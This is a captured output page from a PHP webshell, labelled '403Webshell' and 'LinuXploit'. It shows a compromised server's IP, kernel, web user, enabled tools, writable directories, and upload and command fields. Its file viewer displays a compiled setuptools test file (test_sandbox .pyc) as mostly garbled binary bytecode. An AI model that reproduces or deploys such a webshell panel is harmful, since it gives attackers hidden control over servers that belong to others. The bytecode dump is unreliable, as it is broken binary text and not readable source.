403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/tests/__pycache__/test_sandbox.cpython-314.pyc
+
�h���Z�Rt^RIt^RIt^RIt^RIt^RIt!RR4t!RR4tR#)z
develop testsNc�Ba�]tRt^toRt]R4tRtRtRt	Vt
R#)�TestSandboxc���\PP\V44;_uu_4VP	\
P4RRR4R# +'giR#;i�N)�
setuptools�sandbox�DirectorySandbox�str�_file_writer�os�devnull)�self�tmpdirs&&�?/usr/lib/python3/dist-packages/setuptools/tests/test_sandbox.py�test_devnull�TestSandbox.test_devnull
s>��
�
�
�
0�
0��V��
=�
=����b�j�j�)�>�
=�
=�
=�s� A�A,	c�a�V3RlpV#)c�<�\SRRR7;_uu_4pVPR4RRR4R# +'giR#;i)�w�utf-8��encoding�xxxN)�open�write)�f�paths �r�do_write�*TestSandbox._file_writer.<locals>.do_writes.����d�C�'�2�2�a������3�2�2�2�s	�4�A	�)rrsf rr
�TestSandbox._file_writers���	���c���\P!\R4p\P!R4p\
PPV\V44VPR8XgQhR#)zD
It should be possible to execute a setup.py with a Byte Order Mark
zscript-with-bom.py�	namespace�passedN)
�
pkg_resources�resource_filename�__name__�types�
ModuleTyperr�	_execfile�vars�result)r
�targetr#s&  r�test_setup_py_with_BOM�"TestSandbox.test_setup_py_with_BOMsU���0�0��;O�P���$�$�[�1�	����$�$�V�T�)�_�=����8�+�+�+r!c��VR,pVPR4;_uu_4pVPR4RRR4\PP	\V4\
44R# +'giLC;i)zsetup.py�wbs"degenerate script"
N)rrrrr*r	�globals)r
r�setup_py�streams&&  r�test_setup_py_with_CRLF�#TestSandbox.test_setup_py_with_CRLF"sT���J�&��
�]�]�4�
 �
 �F��L�L�3�4�!����$�$�S��]�G�I�>�!�
 �s�A0�0B	rN)r'�
__module__�__qualname__�__firstlineno__r�staticmethodr
r.r5�__static_attributes__�__classdictcell__��
__classdict__s@rrrs-����*�����,�?�?r!rc�Ja�]tRt^)toRtRtRtRtRtRt	Rt
RtVtR	#)
�TestExceptionSaverc��\PP4;_uu_4\R4h +'giR#;i��detailsN)rr�ExceptionSaver�
ValueError�r
s&r�test_exception_trapped�)TestExceptionSaver.test_exception_trapped*s.��
�
�
�
.�
.�
0�
0��Y�'�'�1�
0�
0�s	�3�A	c��\PP4;_uu_4p\R4h +'giM;i\P
!\4;_uu_4pXP
4RRR4M +'giM;i\XP\4'gQh\TP4R8XgQhR#rB)
rrrDrE�pytest�raises�resume�
isinstance�valuer	)r
�	saved_exc�caughts&  r�test_exception_resumed�)TestExceptionSaver.test_exception_resumed.s���
�
�
�
.�
.�
0�
0�I��Y�'�'�1�
0���]�]�:�
&�
&�&�����'�
&�
&�
&���&�,�,�
�3�3�3�3��6�<�<� �I�-�-�-s�3�A	�(B�B	c��\R4p\PP4;_uu_4pVh +'giM;i\P
!\4;_uu_4pXP
4RRR4M +'giM;i\XP\4'gQhTPTJgQhR#rB)	rErrrDrJrKrLrMrN)r
�orig_excrOrPs&   r�test_exception_reconstructed�/TestExceptionSaver.test_exception_reconstructed8s����i�(��
�
�
�
.�
.�
0�
0�I��N�1�
0���]�]�:�
&�
&�&�����'�
&�
&�
&���&�,�,�
�3�3�3�3��|�|�8�+�+�+s�5�A	�*B�B	c��\PP4;_uu_4pRRR4XP4R# +'giL";ir)rrrDrL)r
rOs& r� test_no_exception_passes_quietly�3TestExceptionSaver.test_no_exception_passes_quietlyDs8��
�
�
�
.�
.�
0�
0�I��1�	����1�
0�s�A�A	c��!RR\4p\PP4;_uu_4pV!R4h +'giM;i\P
!\PP4;_uu_4pXP4RRR4M +'giM;i\XP4R8XgQhR#)c�6a�]tRt^KtoRtV3RlRltRtVtR#)�FTestExceptionSaver.test_unpickleable_exception.<locals>.CantPickleThisz:This Exception is unpickleable because it's not in globalsc� <�V^8�dQhRS[/#)��return)r	)�formatr>s"�r�__annotate__�STestExceptionSaver.test_unpickleable_exception.<locals>.CantPickleThis.__annotate__Ns���
6�
6�#�
6r!c�"�RVP:2#)�CantPickleThis)�argsrFs&r�__repr__�OTestExceptionSaver.test_unpickleable_exception.<locals>.CantPickleThis.__repr__Ns��'��	�	�}�5�5r!rN)r'r7r8r9�__doc__rfr;r<r=s@rrdr\Ks����H�
6�
6r!rd�detailNzCantPickleThis('detail',))
�	ExceptionrrrDrJrK�UnpickleableExceptionrLr	rN)r
rdrOrPs&   r�test_unpickleable_exception�.TestExceptionSaver.test_unpickleable_exceptionJs���	6�Y�	6��
�
�
.�
.�
0�
0�I� ��*�*�1�
0���]�]�:�-�-�C�C�
D�
D������E�
D�
D�
D���6�<�<� �$?�?�?�?s�	?�A	�B"�"B2	c	���!RR\4p\P!\PP
4;_uu_4p\PP
4;_uu_4\PP4Vh +'giM;iRRR4M +'giM;iXPPwpTR8XgQhR#)z�
As revealed in #440, an infinite recursion can occur if an unpickleable
exception while setuptools is hidden. Ensure this doesn't happen.
c��]tRt^_tRtRtR#)�aTestExceptionSaver.test_unpickleable_exception_when_hiding_setuptools.<locals>.ExceptionUnderTestz-
An unpickleable exception (not in globals).
rN)r'r7r8r9rhr;rr!r�ExceptionUnderTestrp_s��
r!rqNzExceptionUnderTest())
rjrJrKrrrk�save_modules�hide_setuptoolsrNre)r
rqrP�msgs&   r�2test_unpickleable_exception_when_hiding_setuptools�ETestExceptionSaver.test_unpickleable_exception_when_hiding_setuptoolsYs���	��	�
�]�]�:�-�-�C�C�
D�
D���#�#�0�0�2�2��"�"�2�2�4�(�(�3�2��2�E�
D�
D�
D��
���"�"����,�,�,�,s�'B+�-!B	�B
�B+�+B;	c���Rp\P!\PP4;_uu_4p\PP4;_uu_4\PP
4\PP\V44;_uu_4V!4RRR4RRR4RRR4XPPwrEpVR8XgQhVR8XgQhVRR/8XgQh\VP4pRV9gQhRV9gQhRV9gQhR# +'giL�;i +'giL�;i +'giL�;i)	z�
When in a sandbox with setuptools hidden, a SandboxViolation
should reflect a proper exception and not be wrapped in
an UnpickleableException.
c�n�\RRRR7;_uu_4RRR4R# +'giR#;i)z9Trigger a SandboxViolation by writing outside the sandbox�/etc/foorrrN)rrr!r�
write_file�VTestExceptionSaver.test_sandbox_violation_raised_hiding_setuptools.<locals>.write_filess#���j�#��8�8��9�8�8�8�s�#�4	Nrrrz('/etc/foo', 'w')z{'encoding': 'utf-8'})ryr)rJrKrr�SandboxViolationrrrsrr	rNre)r
rrzrP�cmdre�kwargsrts&&      r�/test_sandbox_violation_raised_hiding_setuptools�BTestExceptionSaver.test_sandbox_violation_raised_hiding_setuptoolsls��	�
�]�]�:�-�-�>�>�
?�
?�6��#�#�0�0�2�2��"�"�2�2�4��'�'�8�8��V��E�E��L�F�3�@�#�L�L�-�-���6��f�}��}��(�(�(�(��*�g�.�.�.�.��&�,�,�����}��}�"�c�)�)�)�&�#�-�-�-�F�E��3�2��@�
?�s<�'E�!AE	�0D8
�8E	�E�8E�E	�E
�E�E.	rN)
r'r7r8r9rGrQrUrXrlrurr;r<r=s@rr@r@)s.����(�.�
,��
@�-�&.�.r!r@)	rhrr(rJr%�setuptools.sandboxrrr@rr!r�<module>r�s-���	��
���?�?�:].�].r!

Youez - 2016 - github.com/yon3zu
LinuXploit